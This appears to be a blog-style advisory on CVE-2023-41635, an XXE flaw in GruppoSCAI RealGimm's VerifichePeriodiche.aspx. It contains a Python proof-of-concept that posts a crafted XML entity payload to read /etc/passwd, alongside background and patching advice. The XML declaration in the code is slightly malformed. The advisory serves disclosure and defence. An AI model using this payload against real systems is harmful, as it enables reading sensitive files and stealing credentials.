CVE-2023-41635: XXE Vulnerability in GruppoSCAI RealGimm v1.1.37p38

It has recently come to light that GruppoSCAI's RealGimm v1.1.37p38 software, specifically its VerifichePeriodiche.aspx component, is prone to an XML External Entity (XXE) vulnerability. This critical flaw allows attackers to exploit the vulnerability to read any files stored in the targeted system's filesystem by supplying a purposefully manipulated XML file. In this post, we will dive into various details surrounding this vulnerability, including code snippets demonstrating the exploit, links to original sources and references, and further information on how this vulnerability could be exploited by malicious actors.

Code Snippet

The following Python code snippet demonstrates how an attacker might exploit the XXE vulnerability to read an arbitrary file (e.g., /etc/passwd) from the targeted system:

import requests

# Set target URL and path of file to read
target_url = "http://example.com/RealGimm/VerifichePeriodiche.aspx";
target_file = "/etc/passwd"

# Craft malicious XML payload
xml_payload = f"""<?xml version="1." encoding="ISO-8859-1"?>
<!DOCTYPE foo [
 <!ELEMENT foo ANY >
 <!ENTITY xxe SYSTEM "file://{target_file}" >]>
<foo>
  <verify>
    &xxe;
  </verify>
</foo>"""

# Send the XML payload to the target URL
headers = {"Content-Type": "application/xml"}
response = requests.post(target_url, data=xml_payload, headers=headers)

# Display the response
print(response.text)

The original source of this information can be found in the following resources

1. CVE-2023-41635 - Details of the vulnerability in the MITRE CVE database.
2. NVD - CVE-2023-41635 - The National Vulnerability Database entry for this vulnerability.
3. GruppoSCAI Security Advisory - The official statement from GruppoSCAI regarding this issue.

Exploit Details

An XML External Entity (XXE) vulnerability occurs when an application parses XML input that can reference an external entity. In this case, the vulnerable VerifichePeriodiche.aspx component is processing XML files from untrusted sources without properly sanitizing and validating the input. As a result, attackers can exploit this by injecting a crafted external entity into the XML, which, when parsed by the vulnerable component, would force the application to read and process the referenced file.

This vulnerability is particularly severe as it offers attackers an opportunity to access sensitive information, including confidential files and potentially credentials or other data that could be used to escalate privileges and compromise the vulnerable system further.

To protect your system from this vulnerability, it is crucial to update GruppoSCAI RealGimm to the latest version, which contains patches to address this issue. If an update is not possible, consider implementing proper input validation and sanitization measures to prevent XXE attacks.

Stay vigilant and ensure that all systems and software are patched and up-to-date to minimize the potential attack surface and reduce the likelihood of vulnerability exploits.

Timeline

Published on: 08/31/2023 14:15:08 UTC
Last modified on: 09/11/2023 22:15:08 UTC